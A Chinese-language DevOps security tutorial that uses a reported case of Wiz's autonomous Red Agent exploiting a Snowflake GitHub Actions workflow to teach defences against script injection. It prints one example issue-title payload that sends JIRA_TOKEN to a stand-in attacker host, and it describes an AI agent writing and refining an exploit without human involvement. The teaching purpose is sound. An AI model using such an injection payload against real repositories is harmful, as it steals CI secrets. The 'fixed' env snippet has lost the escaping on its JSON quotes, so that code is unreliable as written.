AIHub

AI Agent 五天攻陷 Snowflake 官方仓库之后:给 GitHub Actions 上防注入的三道锁

进阶约 15 分钟读完2026-08-20#GitHub Actions#CI/CD#安全#AI Agent#DevOps
AI Agent 五天攻陷 Snowflake 官方仓库之后:给 GitHub Actions 上防注入的三道锁

8 月 17 日,安全公司 Wiz 公开了一份让整个 DevOps 圈坐不住的报告:他们的自治安全工具 Red Agent 在 Snowflake 的 HackerOne 漏洞赏金项目授权下,扫描了 Snowflake 的 GitHub 组织,发现 snowflakedb/snowflake-connector-net 仓库中的 jira_issue.yml 工作流存在脚本注入漏洞——未认证攻击者只要开一个标题精心构造的 Issue,就能在 GitHub Actions Runner 里执行任意命令。

后面的事更值得细品:这个 Agent 自己发现漏洞、自己写 exploit、第一次 payload 报 shell 语法错误后自己改写、成功偷出一个 Jira Token、验证了它对 Snowflake 内部工程与安全合规项目的访问权限、评估了爆炸半径——全程没有人类参与。时间线是这样的:6 月 18 日 PR #1218 合并、漏洞上线;6 月 23 日 Red Agent 完成发现到利用的全链条,只用了 5 天;当天报告给 Snowflake,后者立即修复并表示未发现未授权访问的证据。

顺便一提,这份报告还引发了一场至今没有结论的争吵:合并提交里有 Copilot Autofix 的 co-author 记录,Wiz 最初的解读是"AI 写的漏洞代码",GitHub 则回应 Copilot 从未审查过这次改动。吵归吵,对我们普通开发者来说真正的问题是:同样的写法,你的仓库里大概率也有。本文把漏洞原理拆开,然后给出三道可以直接抄的防护。

一、漏洞原理:run 块里的 ${{ }} 是字符串拼接,不是参数传递

GitHub Actions 的 run 步骤本质上是一段 shell 脚本。当你这样写:

- name: Create Jira issue
  run: |
    TITLE="${{ github.event.issue.title }}"
    curl -X POST https://jira.example.com/api/issues -d "{\"title\": \"$TITLE\"}"

危险之处在于:${{ github.event.issue.title }} 的替换发生在脚本被 shell 执行之前,是纯粹的文本拼接。如果攻击者把 Issue 标题写成:

test"; curl https://evil.example.com/steal?token=$JIRA_TOKEN; echo "

拼出来的脚本里,引号被闭合、攻击者的命令被原样执行,环境里的 JIRA_TOKEN 就这么被带走了。这和 SQL 注入是同一个病:用户输入和代码混在一个通道里。Issue 标题、PR 标题、评论内容、分支名——这些都是"任何人都能控制的输入",在 GitHub 官方文档里有一个专门的词:untrusted input。

二、第一道锁:env 环境变量中转(成本最低的修法)

GitHub 官方推荐的修法是把所有不可信输入先放进 env,让 shell 通过环境变量读取,而不是让模板引擎拼接:

- name: Create Jira issue
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: |
    curl -X POST https://jira.example.com/api/issues       -d "{"title": "$ISSUE_TITLE"}"

区别在于:env 的赋值由 Actions Runner 以安全的方式注入进程环境,shell 读 $ISSUE_TITLE 时拿到的是纯粹的值,攻击者标题里的引号和命令不会被当作脚本语法解析。配套两条纪律:

  • 双引号必须加:"$VAR" 而不是 $VAR,否则空格和通配符仍会展开;
  • 全仓库搜一遍 ${{ github.event 出现在 run: 块里的位置,一个都别放过:
# 在仓库根目录执行,列出所有在 run 块附近的事件插值
rg -n -U 'run: \|[\s\S]{0,300}\$\{\{ github\.event' .github/workflows/

三、第二道锁:权限最小化,让"偷到也没用"

Snowflake 案例里被偷走的是 Jira Token,但多数注入事故里攻击者真正想要的是 GITHUB_TOKEN——它默认就有仓库读写权限。每个工作流顶部都应该显式声明权限:

permissions: read-all   # 默认只读,需要的 job 再单独加

jobs:
  release:
    permissions:
      contents: write   # 只有发版 job 才给写权限

同时检查仓库设置:Settings → Actions → General → Workflow permissions,确认选的是 Read repository contents,并且关闭 "Allow GitHub Actions to create and approve pull requests"。这样即使注入发生,GITHUB_TOKEN 也只能读,攻击者拿不到写代码、改 Release 的能力。

四、第三道锁:触发器收口,别给攻击者递刀

最需要警惕的是 pull_request_target、issues、issue_comment 这类由外部用户行为直接触发的事件。自查清单:

  • 是否存在 pull_request_target 且 checkout 了 PR 里的代码?这是最经典的自杀组合——PR 代码在拥有写权限和 secrets 的上下文里执行;
  • issues / issue_comment 触发的 workflow 是否向 run 块传递了标题或正文?
  • 涉及 secrets 的 job 是否放在 environment 后面、需要人工批准才执行?
  • 第三方 Action 是否固定到了完整 commit SHA(uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683)而不是 @v4 这种可移动的 tag?
  • .github/workflows/ 目录是否纳入 CODEOWNERS,改 workflow 必须走负责人 review?

最后一条值得展开:workflow 文件本身就是攻击面。把它写进 CODEOWNERS(.github/workflows/ @your-team-leads),任何修改 CI 定义的 PR 都会自动请求负责人审查,防止有人通过正常 PR 流程把后门塞进流水线。

五、让 AI 帮你扫,但别让它当终审

这次事件最讽刺的地方在于:防守方的 AI(无论是 Copilot 还是别的审查工具)没有抓到的东西,进攻方的 AI 五天就抓到并利用了。这说明两件事:AI 安全审查该用,但它不是终审法官。务实的做法是把两类工具叠起来:

  1. 确定性扫描兜底:用 OpenGrep/Semgrep 的现成规则(如 yaml.github-actions.security.run-shell-injection)接入 CI,每次改 workflow 自动扫一遍——规则是死的,但对这类漏洞恰好有效;
  2. AI 审查做增量:让 AI 编程助手按"列出本 workflow 中所有 untrusted input 的流向"这种具体指令审查,比泛泛的"看看有没有安全问题"有效得多;
  3. 高危改动人工签:凡是动 run: 块、permissions、触发器的 PR,必须有人工 review,这一步不要用 AI 代劳。

注意事项与常见误区

  • "我们是私有仓库,没人能开 Issue":错。注入面不止 Issue——内部成员的 PR 标题、分支名、提交信息同样进 github.event,而内部账号本身也可能被盗。防护写法和公私无关。
  • "secrets 不在环境变量里就偷不走":GITHUB_TOKEN、第三方 Action 的输入、runner 上的临时文件都是目标,权限最小化永远要做。
  • pull_request_target 不是不能用:它设计的初衷是给 fork PR 打标签这类场景。铁律是它执行的代码必须来自受信任分支,绝不 checkout PR 的代码。
  • AI 写的 workflow 要重点看:本次事件无论 Copilot 到底有没有审查过那行代码,"AI 生成/AI 审查的流水线配置"都该进入你的高危变更清单。

小结

Wiz Red Agent 的案例是一个分水岭:自治 Agent 从扫描到验证 exploit 再到评估爆炸半径,整个窗口以天计。攻击侧已经自动化了,防守侧就不能只靠"review 的时候多看一眼"。三件事今天就可以做:把 run 块里所有 ${{ github.event.* }} 改成 env 中转并加双引号;给每个 workflow 顶部写 permissions: read-all;把 .github/workflows/ 塞进 CODEOWNERS。加起来不到一小时,但能把这次 Snowflake 级别的注入事故挡在你的仓库门外。

相关教程

AI Agent 五天攻陷 Snowflake 官方仓库之后:给 GitHub Actions 上防注入的三道锁 | AIHub